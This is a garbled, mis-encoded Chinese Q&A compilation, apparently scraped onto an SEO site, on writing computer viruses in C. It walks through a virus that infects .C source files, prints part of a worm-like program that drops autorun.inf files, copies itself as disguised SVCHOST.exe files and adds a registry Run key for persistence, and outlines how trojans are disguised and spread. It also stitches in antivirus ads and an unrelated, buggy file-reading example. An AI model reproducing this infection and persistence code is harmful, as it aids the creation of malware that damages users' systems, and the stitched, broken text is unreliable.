首先導(dǎo)入病毒子程序要用到的三個(gè)庫(kù)文件,分別是dir.h, stido.h, dos.h.在主函數(shù)里面只調(diào)用VIRUSES函數(shù)。緊跟定義VIRUSES函數(shù)里面要調(diào)用的VIURS_SUB函數(shù)。里面定義了若干個(gè)變量。ffblk用來(lái)保存查找到的匹配文件的信息,用到里面的ff_name變量來(lái)保存匹配文件名。

然后定義保存未感染的文件和病毒文件的文件型指針變量,分別用是*virus_r和*virus_v.讀取文件的緩沖區(qū),放到二維數(shù)組a[500][80]里面臨時(shí)存放。因?yàn)榇顺绦驅(qū)Υ笥?00行的C文件不進(jìn)行傳染,所以完全可以放到里面。首先用getdate函數(shù)獲取系統(tǒng)當(dāng)前日期并輸出。接著用findfirst函數(shù)查找擴(kuò)展名為C的文件,將其信息保存到ffblk里面。用fgets函數(shù)讀文件的第一行,長(zhǎng)度是80-1個(gè)字符。然后用strstr函數(shù)檢測(cè)病毒的標(biāo)志,看文件是否有INFECT這個(gè)標(biāo)志。

如果有,表示文件已經(jīng)被傳染,關(guān)閉文件,不進(jìn)行傳染。當(dāng)含有病毒部分的程序被執(zhí)行時(shí),首先進(jìn)入病毒程序。它在磁盤(pán)上查找*.C的匹配文件,一旦找到,查找“已被傳染過(guò)”的標(biāo)志INFECTED。若有此標(biāo)志,繼續(xù)找其它*.C文件,直至全部檢查一遍。

如果沒(méi)有這個(gè)標(biāo)志,將文件全部讀入a[500][80],如果發(fā)現(xiàn)文件超過(guò)500行,不傳染,返回。將文件指針指向文件頭,打開(kāi)帶病毒的文件。如果打不開(kāi),返回。

然后讀取帶病毒文件的前4行,也就是病毒子程序要用到的頭文件,寫(xiě)入將被傳染的文件。若不能讀取帶病毒文件,返回。用n_line變量控制行數(shù),把將被傳染文件的源程序?qū)懟卦募?。其中要進(jìn)行處理不寫(xiě)入病毒文件已有的包含語(yǔ)句,也就是說(shuō)使#Include語(yǔ)句不重復(fù)。

這點(diǎn)是這樣實(shí)現(xiàn)的:定義一個(gè)字符數(shù)組char include_h[]=; strstr函數(shù)查看將被傳染文件的頭文件是否和*include_h[]相同,如果相同,......

問(wèn)題七:怎么用C語(yǔ)言編寫(xiě)木馬.病毒等程序 嘿嘿給你個(gè)類(lèi)病毒C程序源碼,看下方法吧 #define SVCHOST_NUM 6

#include

#include

char *autorun={[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開(kāi)\nshell\\1\\mand=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\mand=SVCHOST.exe\nshellexecute=SVCHOST.exe};

char *files_autorun[10]={c:\\autorun.inf,d:\\autorun.inf,e:\\autorun.inf};

char *files_svchost[SVCHOST_NUM+1]={c:\\windows\\system\\MSMOUSE.DLL,

c:\\windows\\system\\SVCHOST.exe,c:\\windows\\SVCHOST.exe,

c:\\SVCHOST.exe,d:\\SVCHOST.exe,e:\\SVCHOST.exe,SVCHOST.exe};

char *regadd=reg add \HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\ /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f;

int copy(char *infile,char *outfile)

{

FILE *input,*output;

char temp;

if(strcmp(infile,outfile)!=0 ((input=fopen(infile,rb))!=NULL) ((output=fopen

(outfile,wb))!=NULL))

{

while(!feof(input))

{

fread(temp,1,1,input);

fwrite(temp,1,1,output);

}

fclose(input);

fclose(output);

return 0;

......

問(wèn)題八:怎么編輯木馬病毒程序 很高興為您解答:

制作并且傳播木馬都是違法行為,況且在你制作的時(shí)候可能會(huì)有人利用這漏洞對(duì)你的電腦產(chǎn)生危害,到時(shí)候就得不償失拉

建議下其他騰訊電腦管家,開(kāi)啟所有防護(hù),避免有人利用病毒或是木馬來(lái)危害新的電腦以及帳號(hào)的全全

1、騰訊電腦管家獨(dú)有的二代反病毒引擎,防護(hù)查殺更徹底

2、騰訊電腦管家擁有全球最大的云庫(kù)平臺(tái),能更好的識(shí)別詐騙、釣魚(yú)網(wǎng)站

3、騰訊電腦管家獨(dú)創(chuàng)鷹眼模式,時(shí)刻保護(hù)您的愛(ài)機(jī)不受侵害

4、騰訊電腦管家獨(dú)有的安全等級(jí),您可以時(shí)刻查看你愛(ài)機(jī)的安全狀態(tài)

5、新增廣告過(guò)濾功能,有效減輕廣告騷擾。

祝樓主祝您工作、生活愉快!!

問(wèn)題九:病毒的編寫(xiě)是用的什么原理? 在計(jì)算機(jī)領(lǐng)域中,它是一種基于遠(yuǎn)程控制的黑客工具,具有隱蔽性和非授權(quán)性的特點(diǎn)。

所謂隱蔽性是指木馬的設(shè)計(jì)者為了防止木馬被發(fā)現(xiàn),會(huì)采用多種手段隱藏木馬,這樣服務(wù)端即使發(fā)現(xiàn)感染了木馬,由于不能確定其具 *** 置,往往只能望“馬”興嘆。

所謂非授權(quán)性是指一旦控制端與服務(wù)端連接后,控制端將享有服務(wù)端的大部分操作權(quán)限,包括修改文件,修改注冊(cè)表,控制鼠標(biāo),鍵盤(pán)等等,而這些權(quán)力并不是服務(wù)端賦予的,而是通過(guò)木馬程序竊取的。

從木馬的發(fā)展來(lái)看,基本上可以分為兩個(gè)階段。

最初網(wǎng)絡(luò)還處于以UNIX平臺(tái)為主的時(shí)期,木馬就產(chǎn)生了,當(dāng)時(shí)的木馬程序的功能相對(duì)簡(jiǎn)單,往往是將一段程序嵌入到系統(tǒng)文件中,用跳轉(zhuǎn)指令來(lái)執(zhí)行一些木馬的功能,在這個(gè)時(shí)期木馬的設(shè)計(jì)者和使用者大都是些技術(shù)人員,必須具備相當(dāng)?shù)木W(wǎng)絡(luò)和編程知識(shí)。

而后隨著WINDOWS平臺(tái)的日益普及,一些基于圖形操作的木馬程序出現(xiàn)了,用戶界面的改善,使使用者不用懂太多的專(zhuān)業(yè)知識(shí)就可以熟練的操作木馬,相對(duì)的木馬入侵事件也頻繁出現(xiàn),而且由于這個(gè)時(shí)期木馬的功能已日趨完善,因此對(duì)服務(wù)端的破壞也更大了。

所以所木馬發(fā)展到今天,已經(jīng)無(wú)所不用其極,一旦被木馬控制,你的電腦將毫無(wú)秘密可言。

二、木馬原理

[編輯本段]

鑒于木馬的巨大危害性,我們將分原理篇,防御與反擊篇,資料篇三部分來(lái)詳細(xì)介紹木馬,希望大家對(duì)特洛伊木馬這種攻擊手段有一個(gè)透徹的了解。

【一、基礎(chǔ)知識(shí) 】

在介紹木馬的原理之前有一些木馬構(gòu)成的基礎(chǔ)知識(shí)我們要事先加以說(shuō)明,因?yàn)橄旅嬗泻芏嗟胤綍?huì)提到這些內(nèi)容。

一個(gè)完整的木馬系統(tǒng)由硬件部分,軟件部分和具體連接部分組成。

(1)硬件部分:建立木馬連接所必須的硬件實(shí)體。 控制端:對(duì)服務(wù)端進(jìn)行遠(yuǎn)程控制的一方。 服務(wù)端:被控制端遠(yuǎn)程控制的一方。 INTERNET:控制端對(duì)服務(wù)端進(jìn)行遠(yuǎn)程控制,數(shù)據(jù)傳輸?shù)木W(wǎng)絡(luò)載體。

(2)軟件部分:實(shí)現(xiàn)遠(yuǎn)程控制所必須的軟件程序。 控制端程序:控制端用以遠(yuǎn)程控制服務(wù)端的程序。 木馬程序:潛入服務(wù)端內(nèi)部,獲取其操作權(quán)限的程序。 木馬配置程序:設(shè)置木馬程序的端口號(hào),觸發(fā)條件,木馬名稱(chēng)等,使其在服務(wù)端藏得更隱蔽的程序。

(3)具體連接部分:通過(guò)INTERNET在服務(wù)端和控制端之間建立一條木馬通道所必須的元素。 控制端IP,服務(wù)端IP:即控制端,服務(wù)端的網(wǎng)絡(luò)地址,也是木馬進(jìn)行數(shù)據(jù)傳輸?shù)哪康牡亍?控制端端口,木馬端口:即控制端,服務(wù)端的數(shù)據(jù)入口,通過(guò)這個(gè)入口,數(shù)據(jù)可直達(dá)控制端程序或木馬 程序。

用木馬這種黑客工具進(jìn)行網(wǎng)絡(luò)入侵,從過(guò)程上看大致可分為六步(具體可見(jiàn)下圖),下面我們就按這六步來(lái)詳細(xì)闡述木馬的攻擊原理。

一.配置木馬

一般來(lái)說(shuō)一個(gè)設(shè)計(jì)成熟的木馬都有木馬配置程序,從具體的配置內(nèi)容看,主要是為了實(shí)現(xiàn)以下兩方 面功能:

(1)木馬偽裝:木馬配置程序?yàn)榱嗽诜?wù)端盡可能的好的隱藏木馬,會(huì)采用多種偽裝手段,如修改圖標(biāo) ,捆綁文件,定制端口,自我銷(xiāo)毀等,我們將在“傳播木馬”這一節(jié)中詳細(xì)介紹。

(2)信息反饋:木馬配置程序?qū)⒕托畔⒎答伒姆绞交虻刂愤M(jìn)行設(shè)置,如設(shè)置信息反饋的郵件地址,IRC號(hào) ,ICO號(hào)等等,具體的我們將在“信息反饋”這一節(jié)中詳細(xì)介紹。

【二、傳播木馬】.

(1)傳播方式:

木馬的傳播方式主要有兩種:一種是通過(guò)E-MAIL,控制端將木馬程序以附件的形式夾在郵件中發(fā)送出 去, 收信人只要打開(kāi)附件系統(tǒng)就會(huì)感染木馬;另一種是軟件下載,一些非正規(guī)的網(wǎng)站以提供軟件下載為名義, 將木馬捆綁在軟件安裝程序上,下載后,只要一運(yùn)行這些程序,木馬就會(huì)自動(dòng)安裝。

(2)偽裝方......

問(wèn)題十:有源代碼,怎樣編寫(xiě)病毒程序? 您好:

建議您不要編寫(xiě)或使用病毒程序,病毒程序會(huì)對(duì)您的電腦造成損害的,如果您曾使用過(guò)此類(lèi)不安全的病毒程序的話,為了您電腦的安全,建議您使用騰訊電腦管家對(duì)您的電腦進(jìn)行一下全面的殺毒吧,打開(kāi)騰訊電腦管家中的殺毒功能選擇閃電查殺或者全盤(pán)查殺就可以,您可以點(diǎn)擊這里下載最新版的騰訊電腦管家:最新版騰訊電腦管家下載

騰訊電腦管家企業(yè)平臺(tái):zhidao.baidu/c/guanjia/

c語(yǔ)言怎么把其他文件里的內(nèi)容傳遞給主函數(shù)

在C 語(yǔ)言中沒(méi)有辦法把其他文件里的內(nèi)容傳遞給主函數(shù) main( )。因?yàn)槿魏我粋€(gè) C 語(yǔ)言源程序都是從 main( ) 函數(shù)開(kāi)始執(zhí)行的。所以只能夠在主函數(shù) main( ) 中,將文件里的內(nèi)容傳遞給用戶自定義的子函數(shù)才對(duì)。例如如下 C 程序:

#include stdio.h

#define MAX 100

void main( )

{

FILE * fpr ;

char file_buffer[MAX] ;

fpr = fopen("my_textfile", "r" ) ; /* 以讀方式打開(kāi) my_textfile 文本文件 */

if( fpr == NULL )

{ /* 若文件打開(kāi)失敗,則退出系統(tǒng) */

printf("Can't open my_textfile for read!\n") ;

exit(1) ;

}

fgets(buffer, MAX, fpr) ; /* 從文件中讀入一行數(shù)據(jù) */

my_subfunc(buffer) ; /* 調(diào)用用戶自定義的子函數(shù) */

puts(buffer) ; /* 顯示處理后的結(jié)果 */

fclose(fpr) ; /* 關(guān)閉文件 */

}

my_subfunc(char buffer[ ])

{

int i = 0 ;

for( i = 0 ; buffer[i] != '\0' ; i++)

buffer[i] += 2;

}

當(dāng)前標(biāo)題:c語(yǔ)言函數(shù)傳染文件 c語(yǔ)言中函數(shù)間數(shù)據(jù)傳遞方式有三種
本文地址:http://muchs.cn/article12/dohoigc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供軟件開(kāi)發(fā)、企業(yè)網(wǎng)站制作、全網(wǎng)營(yíng)銷(xiāo)推廣、搜索引擎優(yōu)化、關(guān)鍵詞優(yōu)化、定制網(wǎng)站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都seo排名網(wǎng)站優(yōu)化